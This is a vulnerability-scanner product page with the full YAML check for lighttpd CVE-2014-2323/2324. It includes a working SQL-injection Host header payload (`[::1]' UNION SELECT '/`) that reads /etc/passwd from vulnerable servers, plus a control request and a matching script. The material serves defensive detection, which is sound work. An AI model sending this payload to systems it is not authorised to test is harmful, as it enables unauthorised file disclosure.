Lighttpd — 1 vulnerability check
noctis ships 1 vulnerability check for Lighttpd, covering 2 CVEs; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Lighttpd < 1.4.35 Unchecked Host Header — mod_mysql_vhost SQLi File Read
| CVE | CVE-2014-2323, CVE-2014-2324 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | file-read — File read |
| Services | http, https |
| Detection | tcp_connect, script, match · highest QoD 75 |
| Feed | tests/vulnerabilities/lighttpd/lighttpd-host-header-docroot-traversal.yaml |
Tests lighttpd for the unchecked IPv6-literal Host header fixed in 1.4.35 (CVE-2014-2323 / CVE-2014-2324): with mod_mysql_vhost the hostname is injected into the docroot SQL query. The feed reads /etc/passwd through a `[::1]' UNION SELECT '/` Host header and confirms the root entry is disclosed only when that Host is sent.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /etc/passwd HTTP/1.1 - Raw TCP (TLS on HTTPS), sent verbatim:
GET /etc/passwd HTTP/1.1 - Parses / computes the next value with a Rhai script
- Checks
lh_root_linefor^root:[^:]*:0:0:→ finding QoD 75: lighttpd served /etc/passwd from the filesystem root with Host: [::1]' UNION SELECT '/ (mod_mysql_vhost docroot injection; control request …
References:
- https://nvd.nist.gov/vuln/detail/CVE-2014-2323
- https://nvd.nist.gov/vuln/detail/CVE-2014-2324
- https://download.lighttpd.net/lighttpd/security/lighttpd_sa_2014_01.txt
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2014/CVE-2014-2323.yaml
Feed source — tests/vulnerabilities/lighttpd/lighttpd-host-header-docroot-traversal.yaml
# Lighttpd < 1.4.35 — unchecked IPv6-literal Host header: mod_mysql_vhost SQLi
# file read (CVE-2014-2323; same root cause as CVE-2014-2324)
#
# Lighttpd before 1.4.35 validates an IPv6-literal Host header only up to the
# closing `]`: request_check_hostname() accepts `[::1]` followed by ANY bytes
# (it only checks for an optional `:port`). The virtual-host modules then use
# that unchecked hostname:
# - CVE-2014-2323 — mod_mysql_vhost pastes it unescaped into
# `SELECT docroot FROM domains WHERE domain='?'`, so
# `Host: [::1]' UNION SELECT '/` makes the query return `/` as docroot and
# `GET /etc/passwd` is served from the filesystem root: an unauthenticated
# arbitrary file read.
# - CVE-2014-2324 — mod_simple_vhost / mod_evhost path traversal through the
# hostname. Upstream 1.4.34 build_doc_root() cuts the host at the first `:`
# and appends `simple-vhost.document-root`, and mod_evhost splits the host
# on `.`/`:`, so the NASL's `Host: [::1]/../../../../../../../` never
# reaches `/` on a real server: there is no generic benign file-read proof
# for this half, and the feed does not send it.
# Both are fixed in 1.4.35 by the same request_check_hostname() change (the
# malformed host gets HTTP 400), so the feed lists both CVE IDs: a confirmed
# read proves the server has the shared unchecked-host flaw.
#
# Detection (QoD 75 — real exploitation, benign proof): the feed performs the
# actual file read and confirms it in-band.
# 1. Control: GET /etc/passwd with the ordinary Host header.
# 2. Exploit: the same GET with the mysql_vhost UNION Host — raw
# tcp_connect, so the header goes out byte for byte.
# 3. Fire only when the control request got an answer WITHOUT a root entry,
# and the exploit reply is HTTP 200 carrying a genuine /etc/passwd root
# entry (`root:<pw>:0:0:`) — a server that already serves such a file, or
# whose control request failed, is not flagged.
# /etc/passwd is world-readable and holds no secrets on a shadow-password
# system; only the matched root line is kept as finding evidence. Nothing is
# written, executed or deleted on the target.
#
# Better than the OpenVAS NASL (stated in the PR):
# - the NASL reports any `HTTP/1.x 404` reply to its traversal request, i.e.
# a < 1.4.35 lighttpd that merely *accepts* the malformed host — a version
# fingerprint that also fires with no vhost module (nothing exploitable).
# This feed only reports a file actually read;
# - the NASL never exploits CVE-2014-2323 (mod_mysql_vhost SQLi); this feed
# does (the Nuclei template's request);
# - the control request rules out a docroot that legitimately contains an
# `etc/passwd` file.
#
# Ported from OpenVAS/Greenbone NVT `2014/gb_lighttpd_mult_vuln.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.802072, GPL-2.0-only); exploit request from
# Nuclei `http/cves/2014/CVE-2014-2323.yaml`.
uid: dd365445-db86-41fd-b4a1-0564fcc893a4
name: "Lighttpd < 1.4.35 Unchecked Host Header — mod_mysql_vhost SQLi File Read (CVE-2014-2323, CVE-2014-2324)"
description: |
Tests lighttpd for the unchecked IPv6-literal Host header fixed in 1.4.35
(CVE-2014-2323 / CVE-2014-2324): with mod_mysql_vhost the hostname is
injected into the docroot SQL query. The feed reads /etc/passwd through a
`[::1]' UNION SELECT '/` Host header and confirms the root entry is
disclosed only when that Host is sent.
cves: [CVE-2014-2323, CVE-2014-2324]
cvss: 9.8
severity: critical
category: file-read
confidence_base: 0.30
tags: [lighttpd, web-server, host-header, vhost, mysql-vhost, sqli, file-read, lfi, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2014-2323"
- "https://nvd.nist.gov/vuln/detail/CVE-2014-2324"
- "https://download.lighttpd.net/lighttpd/security/lighttpd_sa_2014_01.txt"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2014/CVE-2014-2323.yaml"
steps:
# ── 1. Control: /etc/passwd with the ordinary Host header ───────────────
- id: control
action: tcp_connect
port: "{{port}}"
send: "GET /etc/passwd HTTP/1.1\r\nHost: {{target_host}}\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: lh_ctl
on_failure:
set_vars:
lh_ctl: false
# ── 2. Exploit: same request, mysql_vhost UNION Host ───────────────────
- id: host-exploit
action: tcp_connect
port: "{{port}}"
send: "GET /etc/passwd HTTP/1.1\r\nHost: [::1]' UNION SELECT '/\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: lh_resp
# A failed connect leaves store_as unset: define it so the script runs.
on_failure:
set_vars:
lh_resp: false
# ── 3. Keep the disclosed root entry — only on a 200 reply, and only ────
# when the control request was answered without one.
- id: extract-root-line
action: script
code: |
let line = "";
if type_of(lh_resp) == "map" && type_of(lh_resp.banner) == "string"
&& ereg("^HTTP/1\\.[01] 200", lh_resp.banner) {
line = egrep("^root:[^:]*:0:0:", lh_resp.banner);
}
let ctl_clean = type_of(lh_ctl) == "map" && type_of(lh_ctl.banner) == "string"
&& egrep("^root:[^:]*:0:0:", lh_ctl.banner) == "";
if !ctl_clean { line = ""; }
line
store_as: lh_root_line
# ── 4. Confirm the file read ────────────────────────────────────────────
- id: passwd-disclosed
action: match
source: lh_root_line
pattern: "^root:[^:]*:0:0:"
on_match:
finding:
confidence_delta: 0.55
qod: 75
evidence: "lighttpd served /etc/passwd from the filesystem root with Host: [::1]' UNION SELECT '/ (mod_mysql_vhost docroot injection; control request with the real Host did not) — {{lh_root_line}}"
stop: true